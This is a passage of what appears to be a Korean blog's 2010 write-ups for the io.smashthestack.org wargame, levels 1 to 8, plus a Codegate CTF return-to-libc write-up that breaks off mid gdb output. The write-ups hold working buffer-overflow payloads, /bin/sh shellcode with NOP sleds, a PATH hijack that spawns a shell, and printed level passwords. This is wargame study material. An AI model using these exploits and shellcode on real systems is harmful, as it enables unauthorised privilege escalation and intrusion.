/levels/level08 `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;\\xff\\xbf\\x94\\xde\u0026#39;*200\u0026#34;` Segmentation fault level8@io:/tmp/by8$ /levels/level08 `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;\\xbf\\x94\\xde\\xff\u0026#39;*200\u0026#34;` sh-3.2$ id uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8),1029(nosu) sh-3.2$ cat /home/level9/.pass ynfbxd6t sh-3.2$ 쉘코드를 환경변수에 입력하여 주소의 위치가 변경되어 조금씩 바꾸어 주다 보면 주소가 맞아 떨어진다...\n","date":"2010-03-21T17:52:01Z","permalink":"/2010/03/21/iosmashthestackorg-level-8/","title":"io.smashthestack.org - Level 8"},{"content":"Level 7 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; // We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe void check_id(unsigned int id) { if(id \u0026gt; 10) { execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, NULL); } else { printf(\u0026#34;Not today son\\n\u0026#34;); } } int main(int argc, char *argv[]) { int id; sscanf(argv[1], \u0026#34;%d\u0026#34;, \u0026amp;id); if(id \u0026gt; 10) { printf(\u0026#34;Erm....no\\n\u0026#34;); exit(-1); } check_id(id); return 0; } 이 문제는 단순하다. id값을 우선 11 이상의 값을 넣으면 안되나 최종 쉘을 획득하기 위해서는 11 이상의 값을 넣어야 한다. 어떻게?\ncheck_id() 함수를 보면 인자가 unsigned int 형이다. 따라서 음수로 인자를 주면 쉽게 해결이 된다.\n1 2 3 4 5 6 level7@io:/levels$ ./level07 -1 sh-3.2$ id uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7),1029(nosu) sh-3.2$ cat /home/level8/.pass zkq5xlnh sh-3.2$ ","date":"2010-03-21T16:31:07Z","permalink":"/2010/03/21/iosmashthestackorg-level-7/","title":"io.smashthestack.org - Level 7"},{"content":"Level 6 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include\u0026lt;string.h\u0026gt; // The devil is in the details - nnp void copy_buffers(char *argv[]) { char buf1[32], buf2[32], buf3[32]; strncpy(buf2, argv[1], 31); strncpy(buf3, argv[2], sizeof(buf3)); strcpy(buf1, buf3); } int main(int argc, char *argv[]) { copy_buffers(argv); return 0; } 특별히 오버플로우가 날거 같은 부분이 보이지 않는다. 하지만 아래와 같이 입력을 하면 세그먼트폴트가 발생한다.\n1 2 3 4 level6@io:/tmp/by6$ /levels/level06 `python -c \u0026#34;print \u0026#39;A\u0026#39;*10 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*31\u0026#34;` level6@io:/tmp/by6$ /levels/level06 `python -c \u0026#34;print \u0026#39;A\u0026#39;*10 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*32\u0026#34;` Segmentation fault level6@io:/tmp/by6$ 어떻게 오버플로우가 발생하는지 아래와 같이 코드를 수정하여 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include\u0026lt;string.h\u0026gt; // The devil is in the details - nnp void copy_buffers(char *argv[]) { char buf1[32], buf2[32], buf3[32]; strncpy(buf2, argv[1], 31); printf(\u0026#34;%s\\n\u0026#34;, buf2); strncpy(buf3, argv[2], sizeof(buf3)); printf(\u0026#34;%s\\n\u0026#34;, buf3); strcpy(buf1, buf3); printf(\u0026#34;%s\\n\u0026#34;, buf1); } int main(int argc, char *argv[]) { copy_buffers(argv); return 0; } 1 2 3 4 5 6 7 8 9 10 level6@io:/tmp/by6$ ./a.out `python -c \u0026#34;print \u0026#39;A\u0026#39;*10 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*31\u0026#34;` AAAAAAAAAA BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB level6@io:/tmp/by6$ ./a.out `python -c \u0026#34;print \u0026#39;A\u0026#39;*10 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*32\u0026#34;` AAAAAAAAAA BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAA Segmentation fault level6@io:/tmp/by6$ buf3의 변수에 값을 입력하는 과정에서 오버플로우가 나 buf2의 값이 같이 입력되는걸 볼 수 있었다. 그럼 이제 buf2에는 우리가 원하는 주소를 넣고 buf3를 오버 플로우 시키면 될 것으로 보인다. 공격을 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 level6@io:/tmp/by6$ export SHELLCODE=`python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;\u0026#34;` level6@io:/tmp/by6$ gdb /levels/level06 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) b main Breakpoint 1 at 0x80483fa (gdb) r Starting program: /levels/level06 Breakpoint 1, 0x080483fa in main () (gdb) x/32wx $esp 0xbfffdca4: 0xbfffdcc0 0xbfffdd18 0x0094f455 0x08048470 0xbfffdcb4: 0x080482f0 0xbfffdd18 0x0094f455 0x00000001 0xbfffdcc4: 0xbfffdd44 0xbfffdd4c 0x0052db18 0x00000001 0xbfffdcd4: 0x00000001 0x00000000 0x0804820c 0x00a72ff4 0xbfffdce4: 0x08048470 0x080482f0 0xbfffdd18 0xebb98081 0xbfffdcf4: 0x3de835ff 0x00000000 0x00000000 0x00000000 0xbfffdd04: 0x0069f2e0 0x0094f37d 0x006a6ff4 0x00000001 0xbfffdd14: 0x080482f0 0x00000000 0x08048311 0x080483ec (gdb) 0xbfffdd24: 0x00000001 0xbfffdd44 0x08048470 0x08048420 0xbfffdd34: 0x0069a250 0xbfffdd3c 0x006a4ae5 0x00000001 0xbfffdd44: 0xbfffde22 0x00000000 0xbfffde32 0xbfffdebf 0xbfffdd54: 0xbfffdecf 0xbfffdeda 0xbfffdefc 0xbfffdf10 0xbfffdd64: 0xbfffdf1c 0xbfffdf28 0xbfffdf55 0xbfffdf6b 0xbfffdd74: 0xbfffdf7a 0xbfffdf87 0xbfffdf90 0xbfffdfa2 0xbfffdd84: 0xbfffdfaa 0xbfffdfb9 0x00000000 0x00000010 0xbfffdd94: 0xbfebfbff 0x00000006 0x00001000 0x00000011 (gdb) 0xbfffdda4: 0x00000064 0x00000003 0x08048034 0x00000004 0xbfffddb4: 0x00000020 0x00000005 0x00000007 0x00000007 0xbfffddc4: 0x0068c000 0x00000008 0x00000000 0x00000009 0xbfffddd4: 0x080482f0 0x0000000b 0x000003ee 0x0000000c 0xbfffdde4: 0x000003ee 0x0000000d 0x000003ee 0x0000000e 0xbfffddf4: 0x000003ee 0x00000017 0x00000000 0x0000000f 0xbfffde04: 0xbfffde1b 0x00000000 0x00000000 0x00000000 0xbfffde14: 0x00000000 0x69000000 0x00363836 0x6c2f0000 (gdb) 0xbfffde24: 0x6c657665 0x656c2f73 0x306c6576 0x48530036 0xbfffde34: 0x434c4c45 0x3d45444f 0x90909090 0x90909090 0xbfffde44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde84: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde94: 0x90909090 0x90909090 0x90909090 0x3158176a (gdb) q The program is running. Exit anyway? (y or n) y level6@io:/tmp/by6$ /levels/level06 `python -c \u0026#34;print \u0026#39;\\x94\\xde\\xff\\xbf\u0026#39;*2 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*32\u0026#34;` sh-3.2$ id uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6),1029(nosu) sh-3.2$ cat /home/level7/.pass qpapbi2w sh-3.2$ ","date":"2010-03-21T11:38:08Z","permalink":"/2010/03/21/iosmashthestackorg-level-6/","title":"io.smashthestack.org - Level 6"},{"content":"Level 5의 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { char buf[128]; if(argc \u0026lt; 2) return 1; strcpy(buf, argv[1]); printf(\u0026#34;%s\\n\u0026#34;, buf); return 0; } 문제는 간단하다. argv[1]을 buf 변수에 strcpy() 함수를 이용하여 옮기나 buf 변수의 크기보다 더 많은 값을 넣으면 오버플로우가 될것임을 알 수 있다.\n따라서 환경변수에 NOP + SHELLCODE를 등록시킨 후 gdb를 통해 주소를 확인한 후 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 level5@io:/levels$ ./level05 `python -c \u0026#34;print \u0026#39;A\u0026#39;*140\u0026#34;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault level5@io:/levels$ export SHELLCODE=`python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;\u0026#34;` level5@io:/levels$ gdb level05 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) b main Breakpoint 1 at 0x80483bd (gdb) r Starting program: /levels/level05 Breakpoint 1, 0x080483bd in main () (gdb) x/32wx $esp 0xbfffdc10: 0x00000000 0x00000000 0xbfffdcb0 0xbfffdca4 0xbfffdc20: 0x00000000 0x00000000 0x00000000 0xbfffdcf0 0xbfffdc30: 0x00855668 0x0804820b 0x00000000 0x00000000 0xbfffdc40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdc50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdc60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdc70: 0x00000000 0x00000000 0xbfffde24 0x08048320 0xbfffdc80: 0x003bdff4 0x0804960c 0xbfffdc98 0x08048291 (gdb) 0xbfffdc90: 0x003bdff4 0xbfffdd4c 0xbfffdcb8 0x08048489 0xbfffdca0: 0x00848250 0x080482f0 0x00000000 0x003bdff4 0xbfffdcb0: 0x08048470 0x080482f0 0xbfffdd18 0x0029a455 0xbfffdcc0: 0x00000001 0xbfffdd44 0xbfffdd4c 0x00f8ab18 0xbfffdcd0: 0x00000001 0x00000001 0x00000000 0x0804820b 0xbfffdce0: 0x003bdff4 0x08048470 0x080482f0 0xbfffdd18 0xbfffdcf0: 0xebb98081 0x474835fe 0x00000000 0x00000000 0xbfffdd00: 0x00000000 0x0084d2e0 0x0029a37d 0x00854ff4 (gdb) 0xbfffdd10: 0x00000001 0x080482f0 0x00000000 0x08048311 0xbfffdd20: 0x080483b4 0x00000001 0xbfffdd44 0x08048470 0xbfffdd30: 0x08048420 0x00848250 0xbfffdd3c 0x00852ae5 0xbfffdd40: 0x00000001 0xbfffde24 0x00000000 0xbfffde34 0xbfffdd50: 0xbfffdec1 0xbfffded1 0xbfffdedc 0xbfffdefe 0xbfffdd60: 0xbfffdf11 0xbfffdf1d 0xbfffdf29 0xbfffdf56 0xbfffdd70: 0xbfffdf6c 0xbfffdf7b 0xbfffdf87 0xbfffdf90 0xbfffdd80: 0xbfffdfa2 0xbfffdfaa 0xbfffdfb9 0x00000000 (gdb) 0xbfffdd90: 0x00000010 0xbfebfbff 0x00000006 0x00001000 0xbfffdda0: 0x00000011 0x00000064 0x00000003 0x08048034 0xbfffddb0: 0x00000004 0x00000020 0x00000005 0x00000007 0xbfffddc0: 0x00000007 0x0083a000 0x00000008 0x00000000 0xbfffddd0: 0x00000009 0x080482f0 0x0000000b 0x000003ed 0xbfffdde0: 0x0000000c 0x000003ed 0x0000000d 0x000003ed 0xbfffddf0: 0x0000000e 0x000003ed 0x00000017 0x00000000 0xbfffde00: 0x0000000f 0xbfffde1b 0x00000000 0x00000000 (gdb) 0xbfffde10: 0x00000000 0x00000000 0x69000000 0x00363836 0xbfffde20: 0x00000000 0x76656c2f 0x2f736c65 0x6576656c 0xbfffde30: 0x0035306c 0x4c454853 0x444f434c 0x90903d45 0xbfffde40: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde50: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde60: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbfffde90: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdea0: 0x176a9090 0xcddb3158 0x580b6a80 0x2f685299 0xbfffdeb0: 0x6868732f 0x6e69622f 0x5352e389 0x80cde189 0xbfffdec0: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162 0xbfffded0: 0x52455400 0x696c3d4d 0x0078756e 0x5f485353 0xbfffdee0: 0x45494c43 0x323d544e 0x322e3131 0x312e3831 0xbfffdef0: 0x39392e36 0x39333220 0x32203034 0x53530032 0xbfffdf00: 0x54545f48 0x642f3d59 0x702f7665 0x322f7374 (gdb) 0xbfffdf10: 0x45535500 0x656c3d52 0x356c6576 0x4c4f4300 0xbfffdf20: 0x534e4d55 0x3134313d 0x54415000 0x752f3d48 0xbfffdf30: 0x6c2f7273 0x6c61636f 0x6e69622f 0x73752f3a 0xbfffdf40: 0x69622f72 0x622f3a6e 0x2f3a6e69 0x2f727375 0xbfffdf50: 0x656d6167 0x414d0073 0x2f3d4c49 0x2f726176 0xbfffdf60: 0x6c69616d 0x76656c2f 0x00356c65 0x752f3d5f 0xbfffdf70: 0x622f7273 0x672f6e69 0x50006264 0x2f3d4457 0xbfffdf80: 0x6576656c 0x4c00736c 0x53454e49 0x0038323d (gdb) q The program is running. Exit anyway? (y or n) y level5@io:/levels$ ./level05 `python -c \u0026#34;print \u0026#39;A\u0026#39;*140 + \u0026#39;\\x60\\xde\\xff\\xbf\u0026#39;\u0026#34;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`?? sh-3.2$ id uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu) sh-3.2$ cat /home/level06/.pass cat: /home/level06/.pass: No such file or directory sh-3.2$ cat /home/level6/.pass mobjy2we sh-3.2$ ","date":"2010-03-21T07:32:43Z","permalink":"/2010/03/21/iosmashthestackorg-level-5/","title":"io.smashthestack.org - Level 5"},{"content":"Level 4 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 #include \u0026lt;stdlib.h\u0026gt; int main() { system(\u0026#34;id\u0026#34;); return 0; } id를 실행시키는 간단한 소스다.. PATH 환경변수를 설정해서 우리가 직접 작성한 id를 실행시키면 쉘을 획득할 수 있을 것이다.\n/tmp/by4 폴더에 id를 새로 작성하여 아래와 같이 공격을 시도 하였다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 level4@io:/tmp/by4$ env TERM=linux SHELL=/bin/bash SSH_CLIENT=211.218.16.99 23923 22 OLDPWD=/tmp SSH_TTY=/dev/pts/2 USER=level4 MAIL=/var/mail/level4 PATH=/usr/local/bin:/usr/bin:/bin:/usr/games PWD=/tmp/by4 SHLVL=1 HOME=/home/level4 LOGNAME=level4 SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22 _=/usr/bin/env level4@io:/tmp/by4$ export PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games level4@io:/tmp/by4$ env TERM=linux SHELL=/bin/bash SSH_CLIENT=211.218.16.99 23923 22 OLDPWD=/tmp SSH_TTY=/dev/pts/2 USER=level4 MAIL=/var/mail/level4 PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games PWD=/tmp/by4 SHLVL=1 HOME=/home/level4 LOGNAME=level4 SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22 _=/usr/bin/env level4@io:/tmp/by4$ cat id #!/usr/bin/python import os os.system(\u0026#39;/bin/sh\u0026#39;) level4@io:/tmp/by4$ /levels/level04 sh-3.2$ cat /home/level5/.pass wj9mttkm sh-3.2$ ","date":"2010-03-21T07:25:15Z","permalink":"/2010/03/21/iosmashthestackorg-level-4/","title":"io.smashthestack.org - Level 4"},{"content":"Level 3 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; int good(int addr) { printf(\u0026#34;Address of hmm: %p\\n\u0026#34;, addr); } int hmm() { printf(\u0026#34;Win.\\n\u0026#34;); execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, NULL); } extern char **environ; int main(int argc, char **argv) { int i, limit; for(i = 0; environ[i] != NULL; i++) memset(environ[i], 0x00, strlen(environ[i])); int (*fptr)(int) = good; char buf[32]; if(strlen(argv[1]) \u0026lt;= 40) limit = strlen(argv[1]); for(i = 0; i \u0026lt;= limit; i++) { buf[i] = argv[1][i]; if(i \u0026lt; 36) buf[i] = 0x41; } int (*hmmptr)(int) = hmm; (*fptr)((int)hmmptr); return 0; } 실행을 하면 hmm() 의 주소를 알려 준다. hmm() 를 실행을 하면 되는 것이다. argv[1] 값이 40 이하일때 buf 에 덮어 쓰므로 buf를 오버플로우 시켜서 hmm() 함수로 흐름을 옮기면 될 것이다.\n1 2 3 4 5 6 7 8 9 level3@io:/levels$ ./level03 `python -c \u0026#34;print \u0026#39;\\x7f\\x84\\x04\\x08\u0026#39;*9\u0026#34;` Segmentation fault level3@io:/levels$ ./level03 `python -c \u0026#34;print \u0026#39;\\x7f\\x84\\x04\\x08\u0026#39;*10\u0026#34;` Win. sh-3.2$ id uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu) sh-3.2$ cat /home/level4/.pass iazki1ud sh-3.2$ ","date":"2010-03-21T07:17:32Z","permalink":"/2010/03/21/iosmashthestackorg-level-3/","title":"io.smashthestack.org - Level 3"},{"content":"Level 2 문제를 실행하면 아래와 같다.\n1 2 3 4 level2@io:/tmp/by$ /levels/level02 Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21... The 4th through the 7th numbers would give you 581321 level2@io:/tmp/by$ 위 수열에서 39번째부터 42번째를 이어서 쓴 값을 argv[1]로 넣으라고 한다...\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/python \u0026#39;\u0026#39;\u0026#39; Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21... The 4th through the 7th numbers would give you 581321 \u0026#39;\u0026#39;\u0026#39; list = [1, 2, 3] for x in range(1, 43): tmp = list[x] + list[x+1] list.append(tmp) ret = \u0026#39;\u0026#39; for x in range(38, 42): ret += str(list[x]) print ret 1 2 3 4 5 6 7 8 9 level2@io:/tmp/by$ ./level2.py 102334155165580141267914296433494437 level2@io:/tmp/by$ /levels/level02 102334155165580141267914296433494437 Win. sh-3.2$ id uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2),1029(nosu) sh-3.2$ cat /home/level3/.pass okviql9o sh-3.2$ ","date":"2010-03-20T13:04:36Z","permalink":"/2010/03/20/iosmashtrhestackorg-level-2/","title":"io.smashthestack.org - Level 2"},{"content":"http://io.smashthestack.org:84\nssh level1@io.smashthestack.org -p2224 password: level1\n오늘 부터 시작해보자! Level 1 문제는 생각보다 단순하다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 level1@io:/levels$ ./level01 Usage: ./level01 \u0026lt;password\u0026gt; level1@io:/levels$ ./level01 test Fail. level1@io:/levels$ strings level01 /lib/ld-linux.so.2 __gmon_start__ libc.so.6 printf execl puts strncmp _IO_stdin_used __libc_start_main GLIBC_2.0 PTRh 0Y_] [^_] [^_] omgpassword Usage: %s \u0026lt;password\u0026gt; Win. /bin/sh Fail. level1@io:/levels$ ./level01 omgpassword Win. sh-3.2$ cat /home/level2/.pass ep4kbyqe sh-3.2$ ","date":"2010-03-20T06:23:05Z","permalink":"/2010/03/20/level-1-1/","title":"io.smashthestack.org - Level 1"},{"content":"http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/ 위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다. RTL을 이해하는데 도움이 될 거 같네요...\n1 2 3 4 5 6 7 8 9 10 11 hugh@codegate-desktop:/tmp/by$ gdb -q easy Reading symbols from /tmp/by/easy...done. (gdb) b main Breakpoint 1 at 0x804850e (gdb) r Starting program: /tmp/by/easy Breakpoint 1, 0x0804850e in main () (gdb) x/x execl 0x1ea0c0 \u0026lt;execl\u0026gt;: 0x53565755 (gdb) q execl 주소를 확인하여 보면 0x1ea0c0 이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 hugh@codegate-desktop:/tmp/by$ gdb -q easy Reading symbols from /tmp/by/easy...done. (gdb) disassemble main Dump of assembler code for function main: 0x0804850b \u0026lt;main+0\u0026gt;: push %ebp 0x0804850c \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x0804850e \u0026lt;main+3\u0026gt;: and $0xfffffff0,%esp 0x08048511 \u0026lt;main+6\u0026gt;: sub $0x20,%esp 0x08048514 \u0026lt;main+9\u0026gt;: movl $0x0,0x1c(%esp) 0x0804851c \u0026lt;main+17\u0026gt;: mov $0x8048640,%eax 0x08048521 \u0026lt;main+22\u0026gt;: mov %eax,(%esp) 0x08048524 \u0026lt;main+25\u0026gt;: call 0x8048408 \u0026lt;printf@plt\u0026gt; 0x08048529 \u0026lt;main+30\u0026gt;: movl $0x0,(%esp) 0x08048530 \u0026lt;main+37\u0026gt;: call 0x80483e8 \u0026lt;fflush@plt\u0026gt; 0x08048535 \u0026lt;main+42\u0026gt;: mov 0x804a024,%eax 0x0804853a \u0026lt;main+47\u0026gt;: mov %eax,%edx 0x0804853c \u0026lt;main+49\u0026gt;: lea 0x18(%esp),%eax 0x08048540 \u0026lt;main+53\u0026gt;: mov %edx,0x8(%esp) 0x08048544 \u0026lt;main+57\u0026gt;: mov %eax,0x4(%esp) 0x08048548 \u0026lt;main+61\u0026gt;: lea 0x1c(%esp),%eax 0x0804854c \u0026lt;main+65\u0026gt;: mov %eax,(%esp) 0x0804854f \u0026lt;main+68\u0026gt;: call 0x80483d8 \u0026lt;getline@plt\u0026gt; 0x08048554 \u0026lt;main+73\u0026gt;: mov 0x18(%esp),%edx 0x08048558 \u0026lt;main+77\u0026gt;: mov 0x1c(%esp),%eax 0x0804855c \u0026lt;main+81\u0026gt;: mov %edx,0x4(%esp) 0x08048560 \u0026lt;main+85\u0026gt;: mov %eax,(%esp) 0x08048563 \u0026lt;main+88\u0026gt;: call 0x80484e4 \u0026lt;func\u0026gt; 0x08048568 \u0026lt;main+93\u0026gt;: movl $0x8048648,(%esp) 0x0804856f \u0026lt;main+100\u0026gt;: call 0x8048418 \u0026lt;puts@plt\u0026gt; 0x08048574 \u0026lt;main+105\u0026gt;: leave 0x08048575 \u0026lt;main+106\u0026gt;: ret End of assembler dump. (gdb) disassemble func Dump of assembler code for function func: 0x080484e4 \u0026lt;func+0\u0026gt;: push %ebp 0x080484e5 \u0026lt;func+1\u0026gt;: mov %esp,%ebp 0x080484e7 \u0026lt;func+3\u0026gt;: sub $0x118,%esp 0x080484ed \u0026lt;func+9\u0026gt;: mov 0xc(%ebp),%eax 0x080484f0 \u0026lt;func+12\u0026gt;: mov %eax,0x8(%esp) 0x080484f4 \u0026lt;func+16\u0026gt;: mov 0x8(%ebp),%eax 0x080484f7 \u0026lt;func+19\u0026gt;: mov %eax,0x4(%esp) 0x080484fb \u0026lt;func+23\u0026gt;: lea -0x108(%ebp),%eax 0x08048501 \u0026lt;func+29\u0026gt;: mov %eax,(%esp) 0x08048504 \u0026lt;func+32\u0026gt;: call 0x80483f8 \u0026lt;memcpy@plt\u0026gt; 0x08048509 \u0026lt;func+37\u0026gt;: leave 0x0804850a \u0026lt;func+38\u0026gt;: ret End of assembler dump. (gdb) b *func+38 Breakpoint 1 at 0x804850a (gdb) r Starting program: /tmp/by/easy Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x0804850a in func () (gdb) x/32wx $esp 0xbffff74c: 0x08048568 0x0804b008 0x00000078 0x002ef420 0xbffff75c: 0xbffff778 0x001dd345 0x0019ed20 0x00000078 0xbffff76c: 0x0804b008 0x08048590 0x00000000 0xbffff7f8 0xbffff77c: 0x001c4b56 0x00000001 0xbffff824 0xbffff82c 0xbffff78c: 0x0053b858 0xbffff7e0 0xffffffff 0x001acff4 0xbffff79c: 0x080482dd 0x00000001 0xbffff7e0 0x0019e326 0xbffff7ac: 0x001ad828 0x0053bb40 0x002eeff4 0x00000000 0xbffff7bc: 0x00000000 0xbffff7f8 0xcc6d256e 0x0b141211 (gdb) x/32wx 0x0804b008 0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b028: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b038: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b048: 0x41414141 0x41414141 0x41414141 0x41414141 0x804b058: 0x41414141 0x41414141 0x41414141 0x000a4141 0x804b068: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b078: 0x00000000 0x00000000 0x00000000 0x00020f81 (gdb) 위 주소에서 0x0804b008 주소에 입력한 'A' 값이 들어감을 확인하였다. 그리고 위 주소들은 execl() 또는 system() 의 인자로 구성되기에 알맞은 구조로 되어 있다. (마지막이 NULL (0x00)으로 구성되어 있으므로...)\n따라서 ret를 이용하여 esp를 끌어올려 execl() 함수의 위치를 맞추어 원하는 인자를 넣어 보도록 하자. 공격은 코드의 구성은 아래와 같다. [/bin/sh\\x00] + [A, 260] + [ret * ?] + [execl()]\ngdb 에서 argv를 인자로 줄 때는 \u0026quot;r 인자\u0026quot;로 구성하면 되지만 scanf(), getline() 등의 함수로 인자를 받을 시 gdb 내에서 입력하기가 곤란하다. 따라서 아래와 같이 리다이렉트를 통해 입력하면 된다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 hugh@codegate-desktop:/tmp/by$ python -c \u0026#34;print \u0026#39;/bin/sh\\x00\u0026#39; + \u0026#39;A\u0026#39;*260 + \u0026#39;\\x75\\x85\\x04\\x08\u0026#39;*1 + \u0026#39;\\xc0\\x70\\x1a\\x00\u0026#39;\u0026#34; \u0026gt; payload hugh@codegate-desktop:/tmp/by$ gdb -q easy Reading symbols from /tmp/by/easy...done. (gdb) disassemble func Dump of assembler code for function func: 0x080484e4 \u0026lt;func+0\u0026gt;: push %ebp 0x080484e5 \u0026lt;func+1\u0026gt;: mov %esp,%ebp 0x080484e7 \u0026lt;func+3\u0026gt;: sub 